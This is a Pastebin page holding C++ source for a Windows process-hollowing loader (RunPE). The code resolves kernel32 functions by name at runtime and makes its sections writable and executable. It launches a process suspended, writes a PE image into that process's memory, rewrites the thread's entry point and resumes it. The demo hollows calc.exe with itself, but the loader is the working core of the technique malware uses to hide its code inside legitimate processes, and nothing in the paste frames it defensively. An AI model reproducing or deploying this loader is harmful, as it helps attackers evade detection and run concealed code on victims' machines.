Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #pragma once
- #include <string>
- #include <windows.h>
- #include "winapi.h"
- #pragma once
- // Merge all sections into single.
- #pragma comment(linker, "/merge:.CRT=.text")
- #pragma comment(linker, "/merge:.data=.text")
- #pragma comment(linker, "/merge:.rdata=.text")
- // Makes all sections readable and writable.
- #pragma comment(linker, "/section:.text,EWR")
- //#define LOG(X) OutputDebugStringA(X)
- #define LOG(X) ;
- void *operator new[](size_t s) {
- auto _alloc = Win32::GetKernel32Function<decltype(&VirtualAlloc)>("VirtualAlloc");
- return _alloc(NULL, s, MEM_COMMIT, PAGE_READWRITE);
- }
- void operator delete[](void *p) {
- auto _free = Win32::GetKernel32Function<decltype(&VirtualFree)>("VirtualFree");
- _free(p, 0, MEM_RELEASE);
- }
- decltype(&GetModuleFileNameA) _GetModuleFileNameA;
- decltype(&CreateProcessA) _CreateProcessA;
- decltype(&GetThreadContext) _GetThreadContext;
- decltype(&SetThreadContext) _SetThreadContext;
- decltype(&ReadProcessMemory) _ReadProcessMemory;
- decltype(&VirtualAlloc) _VirtualAlloc;
- decltype(&VirtualAllocEx) _VirtualAllocEx;
- decltype(&WriteProcessMemory) _WriteProcessMemory;
- decltype(&ResumeThread) _ResumeThread;
- decltype(&memset) _memset;
- decltype(&CloseHandle) _CloseHandle;
- decltype(&CreateFileA) _CreateFile;
- decltype(&GetFileSize) _GetFileSize;
- decltype(&ReadFile) _ReadFile;
- decltype(&GetModuleHandleA) _GetModuleHandle;
- decltype(&TerminateProcess) _TerminateProcess;
- decltype(&GetCurrentProcess) _GetCurrentProcess;
- void initApis() {
- _GetModuleFileNameA = Win32::GetKernel32Function<decltype(&GetModuleFileNameA)>("GetModuleFileNameA");
- _CreateProcessA = Win32::GetKernel32Function<decltype(&CreateProcessA)>("CreateProcessA");
- _GetThreadContext = Win32::GetKernel32Function<decltype(&GetThreadContext)>("GetThreadContext");
- _SetThreadContext = Win32::GetKernel32Function<decltype(&SetThreadContext)>("SetThreadContext");
- _ReadProcessMemory = Win32::GetKernel32Function<decltype(&ReadProcessMemory)>("ReadProcessMemory");
- _VirtualAlloc = Win32::GetKernel32Function<decltype(&VirtualAlloc)>("VirtualAlloc");
- _VirtualAllocEx = Win32::GetKernel32Function<decltype(&VirtualAllocEx)>("VirtualAllocEx");
- _WriteProcessMemory = Win32::GetKernel32Function<decltype(&WriteProcessMemory)>("WriteProcessMemory");
- _ResumeThread = Win32::GetKernel32Function<decltype(&ResumeThread)>("ResumeThread");
- _memset = Win32::GetNtFunction<decltype(&memset)>("memset");
- _CloseHandle = Win32::GetKernel32Function<decltype(&CloseHandle)>("CloseHandle");
- _CreateFile = Win32::GetKernel32Function<decltype(&CreateFileA)>("CreateFileA");
- _GetFileSize = Win32::GetKernel32Function<decltype(&GetFileSize)>("GetFileSize");
- _ReadFile = Win32::GetKernel32Function<decltype(&ReadFile)>("ReadFile");
- _GetModuleHandle = Win32::GetKernel32Function<decltype(&GetModuleHandleA)>("GetModuleHandleA");
- _TerminateProcess = Win32::GetKernel32Function<decltype(&TerminateProcess)>("TerminateProcess");
- _GetCurrentProcess = Win32::GetKernel32Function<decltype(&GetCurrentProcess)>("GetCurrentProcess");
- }
- int RunPortableExecutable(void* Image, const char*path) {
- IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
- IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
- IMAGE_SECTION_HEADER* SectionHeader;
- PROCESS_INFORMATION PI;
- STARTUPINFOA SI;
- CONTEXT* CTX;
- DWORD* ImageBase; //Base address of the image
- void* pImageBase; // Pointer to the image base
- int count;
- char CurrentFilePath[1024];
- DOSHeader = PIMAGE_DOS_HEADER(Image); // Initialize Variable
- NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize
- _GetModuleFileNameA(_GetModuleHandle(NULL), CurrentFilePath, 1024);
- if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
- {
- _memset(&PI, 0, sizeof(PI)); // Null the memory
- _memset(&SI, 0, sizeof(SI)); // Null the memory
- if (_CreateProcessA(path, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) {
- // Allocate memory for the context.
- LOG("Creating process...\n");
- CTX = LPCONTEXT(_VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
- CTX->ContextFlags = CONTEXT_FULL; // Context is allocated
- if (_GetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread
- {
- // Read instructions
- _ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
- pImageBase = _VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
- NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
- // Write the image to the process
- _WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
- for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) {
- SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));
- _WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
- LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
- }
- _WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
- // Move address of entry point to the eax register
- CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
- _SetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context
- if (!_ResumeThread(PI.hThread)) {
- return 0;
- }
- return 0;
- }
- }
- }
- }
- HANDLE MapFileToMemory(LPCSTR filename) {
- LOG("MapFileToMemory...\n");
- HANDLE hFile = _CreateFile(filename, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
- if (hFile == INVALID_HANDLE_VALUE) {
- LOG("CreateFile returned INVALID_HANDLE_VALUE\n");
- return 0;
- }
- LOG("File created...\n");
- DWORD dwSize = _GetFileSize(hFile, NULL);
- void *buffer = _VirtualAlloc(NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
- if (!buffer) {
- _CloseHandle(hFile);
- return 0;
- }
- DWORD dwRead;
- if (!_ReadFile(hFile, buffer, dwSize, &dwRead, NULL)) {
- return 0;
- }
- IMAGE_DOS_HEADER *dos_header = reinterpret_cast<IMAGE_DOS_HEADER*>(buffer);
- LOG("MapFileToMemory OK...\n");
- return buffer;
- }
- void initialize() {
- HANDLE hHandle = MapFileToMemory("C:\\windows\\system32\\calc.exe");
- RunPortableExecutable(hHandle, "C:\\windows\\system32\\calc.exe");
- _TerminateProcess(_GetCurrentProcess(), 0);
- }
- int main() {
- initApis();
- initialize();
- ExitProcess(0);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement